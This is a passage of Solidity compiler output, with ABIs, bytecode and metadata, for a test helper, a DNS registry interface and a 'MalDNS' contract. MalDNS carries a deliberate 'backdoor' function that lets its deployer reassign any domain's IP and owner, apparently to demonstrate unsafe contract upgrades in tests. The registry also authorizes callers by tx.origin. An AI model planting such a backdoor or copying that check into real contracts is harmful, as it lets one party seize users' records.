446:23;:::i;:::-;9439:5;9436:34;9426:2;;9484:1;9481;9474:12;9426:2;9416:78;:::o;9500:148::-;9586:37;9617:5;9586:37;:::i;:::-;9579:5;9576:48;9566:2;;9638:1;9635;9628:12;9566:2;9556:92;:::o\",\"storage-layout\":\"{\\\"storage\\\":[],\\\"types\\\":null}\"},\"src/HEVMCheat.sol:HEVMCheat\":{\"abi\":\"[{\\\"inputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"x\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"roll\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"x\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"warp\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"}]\",\"bin\":\"608060405234801561001057600080fd5b5061039b806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80631f7b4f301461003b578063e5d6bf0214610069575b600080fd5b6100676004803603602081101561005157600080fd5b8101908080359060200190929190505050610097565b005b6100956004803603602081101561007f57600080fd5b81019080803590602001909291905050506101fe565b005b6000737109709ecfa91a80626ff3989d68f67f5b1dd12d73ffffffffffffffffffffffffffffffffffffffff1682604051602401808281526020019150506040516020818303038152906040527f1f7b4f30000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106101855780518252602082019150602081019050602083039250610162565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146101e7576040519150601f19603f3d011682016040523d82523d6000602084013e6101ec565b606091505b50509050806101fa57600080fd5b5050565b6000737109709ecfa91a80626ff3989d68f67f5b1dd12d73ffffffffffffffffffffffffffffffffffffffff1682604051602401808281526020019150506040516020818303038152906040527fe5d6bf02000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106102ec57805182526020820191506020810190506020830392506102c9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461034e576040519150601f19603f3d011682016040523d82523d6000602084013e610353565b606091505b505090508061036157600080fd5b505056fea26469706673582212201f9485aa1245955781b7529e6c0bbe4d31cf250e99bc122a5313fe60e971609464736f6c63430007040033\",\"bin-runtime\":\"608060405234801561001057600080fd5b50600436106100365760003560e01c80631f7b4f301461003b578063e5d6bf0214610069575b600080fd5b6100676004803603602081101561005157600080fd5b8101908080359060200190929190505050610097565b005b6100956004803603602081101561007f57600080fd5b81019080803590602001909291905050506101fe565b005b6000737109709ecfa91a80626ff3989d68f67f5b1dd12d73ffffffffffffffffffffffffffffffffffffffff1682604051602401808281526020019150506040516020818303038152906040527f1f7b4f30000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106101855780518252602082019150602081019050602083039250610162565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146101e7576040519150601f19603f3d011682016040523d82523d6000602084013e6101ec565b606091505b50509050806101fa57600080fd5b5050565b6000737109709ecfa91a80626ff3989d68f67f5b1dd12d73ffffffffffffffffffffffffffffffffffffffff1682604051602401808281526020019150506040516020818303038152906040527fe5d6bf02000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106102ec57805182526020820191506020810190506020830392506102c9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461034e576040519150601f19603f3d011682016040523d82523d6000602084013e610353565b606091505b505090508061036157600080fd5b505056fea26469706673582212201f9485aa1245955781b7529e6c0bbe4d31cf250e99bc122a5313fe60e971609464736f6c63430007040033\",\"metadata\":\"{\\\"compiler\\\":{\\\"version\\\":\\\"0.7.4+commit.3f05b770\\\"},\\\"language\\\":\\\"Solidity\\\",\\\"output\\\":{\\\"abi\\\":[{\\\"inputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"x\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"roll\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"x\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"warp\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"}],\\\"devdoc\\\":{\\\"kind\\\":\\\"dev\\\",\\\"methods\\\":{},\\\"version\\\":1},\\\"userdoc\\\":{\\\"kind\\\":\\\"user\\\",\\\"methods\\\":{},\\\"notice\\\":\\\"HEVM has a special contract able to change the block timestamp. This is used in the tests, to show safe and unsafe upgrades.\\\",\\\"version\\\":1}},\\\"settings\\\":{\\\"compilationTarget\\\":{\\\"src/HEVMCheat.sol\\\":\\\"HEVMCheat\\\"},\\\"evmVersion\\\":\\\"istanbul\\\",\\\"libraries\\\":{},\\\"metadata\\\":{\\\"bytecodeHash\\\":\\\"ipfs\\\"},\\\"optimizer\\\":{\\\"enabled\\\":false,\\\"runs\\\":200},\\\"remappings\\\":[\\\":/=/\\\",\\\":ds-test/=lib/ds-test/src/\\\",\\\":ds-test=lib/ds-test/src/index.sol\\\"]},\\\"sources\\\":{\\\"src/HEVMCheat.sol\\\":{\\\"keccak256\\\":\\\"0xbb563bd7039f446d7a4b0407764d3b9de8ae46e317e8b61cb36ceab6ad1078fb\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://a7cee341638027f254f60ad2b586cfe390655b793ccce70ce4c8063ecf4e2890\\\",\\\"dweb:/ipfs/QmRGS8HiCdsx1RPTneFA5PNmEJiWBHBXeMe2rscjG9RFYd\\\"]}},\\\"version\\\":1}\",\"srcmap\":\"194:388:3:-:0;;;;;;;;;;;;;;;;;;;\",\"srcmap-runtime\":\"194:388:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;437:143;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;291;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;437;471:12;245:42;488:23;;553:1;512:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;488:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;470:86;;;568:7;560:16;;;;;;437:143;;:::o;291:::-;325:12;245:42;342:23;;407:1;366:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;342:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;324:86;;;422:7;414:16;;;;;;291:143;;:::o\",\"storage-layout\":\"{\\\"storage\\\":[],\\\"types\\\":null}\"},\"src/IDNS.sol:IDNS\":{\"abi\":\"[{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"register\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"}],\\\"name\\\":\\\"resolve\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"transfer\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"}],\\\"name\\\":\\\"update\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"}]\",\"bin\":\"\",\"bin-runtime\":\"\",\"metadata\":\"{\\\"compiler\\\":{\\\"version\\\":\\\"0.7.4+commit.3f05b770\\\"},\\\"language\\\":\\\"Solidity\\\",\\\"output\\\":{\\\"abi\\\":[{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"register\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"}],\\\"name\\\":\\\"resolve\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"transfer\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"}],\\\"name\\\":\\\"update\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"}],\\\"devdoc\\\":{\\\"kind\\\":\\\"dev\\\",\\\"methods\\\":{\\\"register(string,bytes4,address)\\\":{\\\"params\\\":{\\\"_domain\\\":\\\"New domain to be registered.\\\",\\\"_ip\\\":\\\"Ip the domain should point to.\\\",\\\"_owner\\\":\\\"Owner of the newly registered domain.\\\"}},\\\"resolve(string)\\\":{\\\"returns\\\":{\\\"_0\\\":\\\"The IP that _domain points to and the owner.\\\"}},\\\"transfer(string,address)\\\":{\\\"params\\\":{\\\"_domain\\\":\\\"Domain to be transferred.\\\",\\\"_owner\\\":\\\"New owner.\\\"}},\\\"update(string,bytes4)\\\":{\\\"params\\\":{\\\"_domain\\\":\\\"Domain to be updated.\\\",\\\"_ip\\\":\\\"New ip that the domain should point to.\\\"}}},\\\"title\\\":\\\"A simple DNS interface.\\\",\\\"version\\\":1},\\\"userdoc\\\":{\\\"kind\\\":\\\"user\\\",\\\"methods\\\":{\\\"register(string,bytes4,address)\\\":{\\\"notice\\\":\\\"Registers a new domain. Domain must be currently unused.\\\"},\\\"transfer(string,address)\\\":{\\\"notice\\\":\\\"Transfers ownership of the given domain. `tx.origin` must be the current owner of that domain.\\\"},\\\"update(string,bytes4)\\\":{\\\"notice\\\":\\\"Updates the ip that a domain points to. `tx.origin` must be the current owner of that domain.\\\"}},\\\"version\\\":1}},\\\"settings\\\":{\\\"compilationTarget\\\":{\\\"src/IDNS.sol\\\":\\\"IDNS\\\"},\\\"evmVersion\\\":\\\"istanbul\\\",\\\"libraries\\\":{},\\\"metadata\\\":{\\\"bytecodeHash\\\":\\\"ipfs\\\"},\\\"optimizer\\\":{\\\"enabled\\\":false,\\\"runs\\\":200},\\\"remappings\\\":[\\\":/=/\\\",\\\":ds-test/=lib/ds-test/src/\\\",\\\":ds-test=lib/ds-test/src/index.sol\\\"]},\\\"sources\\\":{\\\"src/IDNS.sol\\\":{\\\"keccak256\\\":\\\"0x9285f06c81c75d169c4fe7d0b24b2b50894f09d951c4e8f6134af923ed3e9c2f\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://38476e14838c65196ef345eade7ba706307b720c6ecd32ed8d42006023d4ef3e\\\",\\\"dweb:/ipfs/QmUxCKcvXtTMwVpJfu9QpPMpfMk88V2Uafmmg2bw3NRgrn\\\"]}},\\\"version\\\":1}\",\"srcmap\":\"\",\"srcmap-runtime\":\"\",\"storage-layout\":\"{\\\"storage\\\":[],\\\"types\\\":null}\"},\"src/MalDNS.sol:MalDNS\":{\"abi\":\"[{\\\"inputs\\\":[{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"_dns\\\",\\\"type\\\":\\\"address\\\"},{\\\"internalType\\\":\\\"contract Upgrade\\\",\\\"name\\\":\\\"_info\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"constructor\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"backdoor\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"originalDNS\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"register\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"}],\\\"name\\\":\\\"resolve\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"transfer\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"}],\\\"name\\\":\\\"update\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"upgradeInfo\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"contract Upgrade\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"}]\",\"bin\":\"60e06040523480156200001157600080fd5b506040516200113438038062001134833981810160405281019062000037919062000148565b82600160006101000a81548163ffffffff021916908360e01c02179055508173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250503373ffffffffffffffffffffffffffffffffffffffff1660c08173ffffffffffffffffffffffffffffffffffffffff1660601b8152505050505062000274565b600081519050620001148162000226565b92915050565b6000815190506200012b8162000240565b92915050565b60008151905062000142816200025a565b92915050565b6000806000606084860312156200015e57600080fd5b60006200016e8682870162000103565b935050602062000181868287016200011a565b9250506040620001948682870162000131565b9150509250925092565b6000620001ab8262000206565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6000620001eb826200019e565b9050919050565b6000620001ff826200019e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6200023181620001b2565b81146200023d57600080fd5b50565b6200024b81620001de565b81146200025757600080fd5b50565b6200026581620001f2565b81146200027157600080fd5b50565b60805160601c60a05160601c60c05160601c610e8a620002aa6000398061042c5250806101615250806104085250610e8a6000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c80639735009b1161005b5780639735009b146100ed578063d554b2f61461010b578063f7a4669614610127578063fbf58b3e146101435761007d565b80630528b34514610082578063461a4478146100a057806389404978146100d1575b600080fd5b61008a61015f565b6040516100979190610bf9565b60405180910390f35b6100ba60048036038101906100b591906108a1565b610183565b6040516100c8929190610bb5565b60405180910390f35b6100eb60048036038101906100e6919061098a565b610200565b005b6100f5610406565b6040516101029190610bde565b60405180910390f35b6101256004803603810190610120919061098a565b61042a565b005b610141600480360381019061013c9190610936565b61050c565b005b61015d600480360381019061015891906108e2565b610681565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b6000806000836040516101969190610b9e565b908152602001604051809103902060000160009054906101000a900460e01b6000846040516101c59190610b9e565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150915091565b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161025d90610c54565b60405180910390fd5b60008351116102aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a190610c14565b60405180910390fd5b600080846040516102bb9190610b9e565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614801561035e5750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61039d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039490610c74565b60405180910390fd5b828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461048257600080fd5b600080846040516104939190610b9e565b90815260200160405180910390209050828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6000808360405161051d9190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156105b757503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed90610c94565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561065c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065390610c54565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516106929190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561072c57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61076b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076290610c94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d290610c34565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60008135905061083281610e26565b92915050565b60008135905061084781610e3d565b92915050565b600082601f83011261085e57600080fd5b813561087161086c82610ce5565b610cb4565b9150808252602083016020830185838301111561088d57600080fd5b610898838284610de2565b50505092915050565b6000602082840312156108b357600080fd5b600082013567ffffffffffffffff8111156108cd57600080fd5b6108d98482850161084d565b91505092915050565b600080604083850312156108f557600080fd5b600083013567ffffffffffffffff81111561090f57600080fd5b61091b8582860161084d565b925050602061092c85828601610823565b9150509250929050565b6000806040838503121561094957600080fd5b600083013567ffffffffffffffff81111561096357600080fd5b61096f8582860161084d565b925050602061098085828601610838565b9150509250929050565b60008060006060848603121561099f57600080fd5b600084013567ffffffffffffffff8111156109b957600080fd5b6109c58682870161084d565b93505060206109d686828701610838565b92505060406109e786828701610823565b9150509250925092565b6109fa81610d3c565b82525050565b610a0981610d4e565b82525050565b610a1881610d9a565b82525050565b610a2781610dbe565b82525050565b6000610a3882610d15565b610a428185610d31565b9350610a52818560208601610df1565b80840191505092915050565b6000610a6b600f83610d20565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610aab600e83610d20565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610aeb600b83610d20565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610b2b601583610d20565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610b6b600e83610d20565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610baa8284610a2d565b915081905092915050565b6000604082019050610bca6000830185610a00565b610bd760208301846109f1565b9392505050565b6000602082019050610bf36000830184610a0f565b92915050565b6000602082019050610c0e6000830184610a1e565b92915050565b60006020820190508181036000830152610c2d81610a5e565b9050919050565b60006020820190508181036000830152610c4d81610a9e565b9050919050565b60006020820190508181036000830152610c6d81610ade565b9050919050565b60006020820190508181036000830152610c8d81610b1e565b9050919050565b60006020820190508181036000830152610cad81610b5e565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610cdb57610cda610e24565b5b8060405250919050565b600067ffffffffffffffff821115610d0057610cff610e24565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610d4782610d7a565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610da582610dac565b9050919050565b6000610db782610d7a565b9050919050565b6000610dc982610dd0565b9050919050565b6000610ddb82610d7a565b9050919050565b82818337600083830152505050565b60005b83811015610e0f578082015181840152602081019050610df4565b83811115610e1e576000848401525b50505050565bfe5b610e2f81610d3c565b8114610e3a57600080fd5b50565b610e4681610d4e565b8114610e5157600080fd5b5056fea2646970667358221220b23f98d283160e20da122f7f02a954df3b2637f635f4b30e955c8a118233fa3764736f6c63430007040033\",\"bin-runtime\":\"608060405234801561001057600080fd5b506004361061007d5760003560e01c80639735009b1161005b5780639735009b146100ed578063d554b2f61461010b578063f7a4669614610127578063fbf58b3e146101435761007d565b80630528b34514610082578063461a4478146100a057806389404978146100d1575b600080fd5b61008a61015f565b6040516100979190610bf9565b60405180910390f35b6100ba60048036038101906100b591906108a1565b610183565b6040516100c8929190610bb5565b60405180910390f35b6100eb60048036038101906100e6919061098a565b610200565b005b6100f5610406565b6040516101029190610bde565b60405180910390f35b6101256004803603810190610120919061098a565b61042a565b005b610141600480360381019061013c9190610936565b61050c565b005b61015d600480360381019061015891906108e2565b610681565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b6000806000836040516101969190610b9e565b908152602001604051809103902060000160009054906101000a900460e01b6000846040516101c59190610b9e565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150915091565b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161025d90610c54565b60405180910390fd5b60008351116102aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a190610c14565b60405180910390fd5b600080846040516102bb9190610b9e565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614801561035e5750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61039d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039490610c74565b60405180910390fd5b828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461048257600080fd5b600080846040516104939190610b9e565b90815260200160405180910390209050828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6000808360405161051d9190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156105b757503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed90610c94565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561065c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065390610c54565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516106929190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561072c57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61076b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076290610c94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d290610c34565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60008135905061083281610e26565b92915050565b60008135905061084781610e3d565b92915050565b600082601f83011261085e57600080fd5b813561087161086c82610ce5565b610cb4565b9150808252602083016020830185838301111561088d57600080fd5b610898838284610de2565b50505092915050565b6000602082840312156108b357600080fd5b600082013567fffffffff